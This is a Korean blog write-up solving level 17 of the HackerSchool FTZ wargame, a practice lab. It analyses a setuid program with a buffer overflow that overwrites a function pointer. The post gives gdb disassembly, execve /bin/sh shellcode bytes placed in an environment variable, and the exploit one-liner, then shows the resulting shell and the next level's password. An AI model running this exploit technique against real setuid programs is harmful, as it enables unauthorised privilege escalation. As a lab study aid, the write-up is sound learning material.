[ftz] hackerschool level17 풀이

l hackerschool level17 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

login as: level17
level17@192.168.31.128's password:

 

 

 

level17 문제의 아이디인  level17 와 password인   king poetic 을 입력하여 level17의 유저로 접속합니다.

 

 

 

[level17@ftz level17]$ ls -l
total 28
-rwsr-x---    1 level18  level17     13853 Mar  8  2003 attackme
-rw-r-----    1 root     level17       191 Mar  8  2003 hint
drwxr-xr-x    2 root     level17      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level17      4096 Jan 11  2009 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level17 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level17@ftz level17]$ cat hint

#include  <stdio.h>

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

level16의 문제와 비슷해 보이지만 /bin/sh와 같은 셸을 취득하는 명령이 없는 것으로 봐서 셸 코드를 이용해야 하는 문제임을 예상해볼 수 있습니다.

 

 

 

[level17@ftz level17]$ cp ./attackme ./tmp/level17
[level17@ftz level17]$ ls -l ./tmp/level17
-rwxr-x---    1 level17  level17     13853 Nov 14 11:45 ./tmp/level17

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 attackme 파일을 tmp 폴더 안에 복사하도록 하겠습니다.

 

 

 

[level17@ftz tmp]$ gdb level17
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:    push   %ebp
0x080484a9 <main+1>:    mov    %esp,%ebp
0x080484ab <main+3>:    sub    $0x38,%esp
0x080484ae <main+6>:    movl   $0x8048490,0xfffffff0(%ebp)
0x080484b5 <main+13>:   sub    $0x4,%esp
0x080484b8 <main+16>:   pushl  0x804967c
0x080484be <main+22>:   push   $0x30
0x080484c0 <main+24>:   lea    0xffffffc8(%ebp),%eax
0x080484c3 <main+27>:   push   %eax
0x080484c4 <main+28>:   call   0x8048350 <fgets> 
0x080484c9 <main+33>:   add    $0x10,%esp
0x080484cc <main+36>:   sub    $0x8,%esp
0x080484cf <main+39>:   push   $0xc1a
0x080484d4 <main+44>:   push   $0xc1a
0x080484d9 <main+49>:   call   0x8048380 <setreuid> 
0x080484de <main+54>:   add    $0x10,%esp
0x080484e1 <main+57>:   mov    0xfffffff0(%ebp),%eax
0x080484e4 <main+60>:   call   *%eax
0x080484e6 <main+62>:   leave
0x080484e7 <main+63>:   ret
0x080484e8 <main+64>:   nop
0x080484e9 <main+65>:   nop
0x080484ea <main+66>:   nop
0x080484eb <main+67>:   nop
0x080484ec <main+68>:   nop
0x080484ed <main+69>:   nop
0x080484ee <main+70>:   nop
0x080484ef <main+71>:   nop
End of assembler dump.

 

 

 

level17 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

1. 0x080484ab <main+3>:    sub    $0x38,%esp 

0x38을 10진수로 바꾸면 56입니다. 즉 스택에 56byte의 공간을 할당한 것입니다.

 

 

2. 0x080484ae <main+6>:    movl   $0x8048490,0xfffffff0(%ebp)

ebp - [0xfffffff0을 2의 보수 취한 값]의 위치에 0x8048490을 넣고 있습니다.

 

0000 => 1111 => 10000 => 16

0xfffffff0을 2의 보수 취할 경우 16이 나오고 위의 명령은 ebp - 16의 위치에 0x8048490을 넣는 것입니다.

 

 

3. 0x08048534 <main+28>:   call   0x8048384 <fgets>

hint 코드에서 fgets 명령어에는 buf, 48, stdin 이렇게 3개의 인자가 들어갑니다. 앞의 스택에 들어갈 때에는 뒤에서부터 들어가기 때문에 stdin, 48, buf 이 순서대로 들어갑니다. 따라서 buf의 위치는  ebp - [0xffffffc8을 2의 보수 취한 값]이 됩니다.

 

11001000 => 00110111 => 00111000 => 8 + 16 + 32 = 56

buf의 시작 위치는 ebp - 56이라는 것을 알 수 있습니다.

 

 

4. 0x080484e1 <main+57>:   mov    0xfffffff0(%ebp),%eax

   0x080484e4 <main+60>:   call   *%eax 

main + 57 위치에서 eax에 ebp - [0xfffffff0을 2의 보수 취한 값] 위치의 값을 넣어주는 것을 볼 수 있습니다. 그 후 eax가 call 되는 것을 보아 ebp - 16에 있던 주소, 즉 printit을 호출하는 것입니다.

 

 

메모리 구조는 다음과 같습니다. (전체적인 메모리 구조가 아닙니다. 필요한 부분만 적었습니다.)

 

 

 

전체적으로 코드를 봤을 때 level16 문제와 거의 흡사합니다. 다른 부분이 있다면 level16에서는 shell 함수에 셸 코드를 취득할 수 있는 명령어가 있었고, level17 문제에서는 직접 셸 코드를 넣어주어야 하는 것입니다. 셸 코드를 실행시키기 위해 환경변수를 사용하도록 하겠습니다.

 

 

 

[level17@ftz tmp]$ export SHELL=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level17@ftz tmp]$ echo 'int main(){ printf("ADDR : 0x%x\n",getenv("SHELL"));}' > getenv.c
[level17@ftz tmp]$ gcc -o getenv getenv.c
[level17@ftz tmp]$ ./getenv
ADDR : 0xbffffbc5

 

 

 

위와 같이 환경변수를 사용하여 셸 코드를 넣어주었고, 그 위치의 주소를 찾아내었습니다. 그럼 이제 셸 코드가 있는 저 주소를 ebp - 16의 자리에 넣어주도록 하겠습니다. 페이로드는 아래와 같습니다.

 

 

 

| 페이로드

(python -c 'print "A"*40+"\xc5\xfb\xff\xbf"';cat) | ./attackme

 

 

 

페이로드를 작성하면 위와 같습니다. buf의 시작부터 ebp - 16까지 아무 문자로 채워주고 *call부분을 getenv를 실행시켜 나온 주소로 채워주었습니다.

 

 

 

[level17@ftz level17]$ (python -c 'print "A"*40+"\xc5\xfb\xff\xbf"';cat) | ./attackme
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)
my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".

 

 

 

페이로드 실행 후 id 입력 시 uid가 level18인 것을 확인할 수 있고, my-pass 명령을 사용하여 level18의 password를 알 수 있습니다.

 

 

 

l level18 비밀번호

더보기

Level18 Password is "why did you do it".

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level19 풀이  (0) 2020.01.05
[ftz] hackerschool level18 풀이  (0) 2020.01.03
[ftz] hackerschool level16 풀이  (0) 2020.01.02
[ftz] hackerschool level15 풀이  (0) 2020.01.02
[ftz] hackerschool level14 풀이  (0) 2019.11.28

이 글을 공유하기

댓글

Designed by JB FACTORY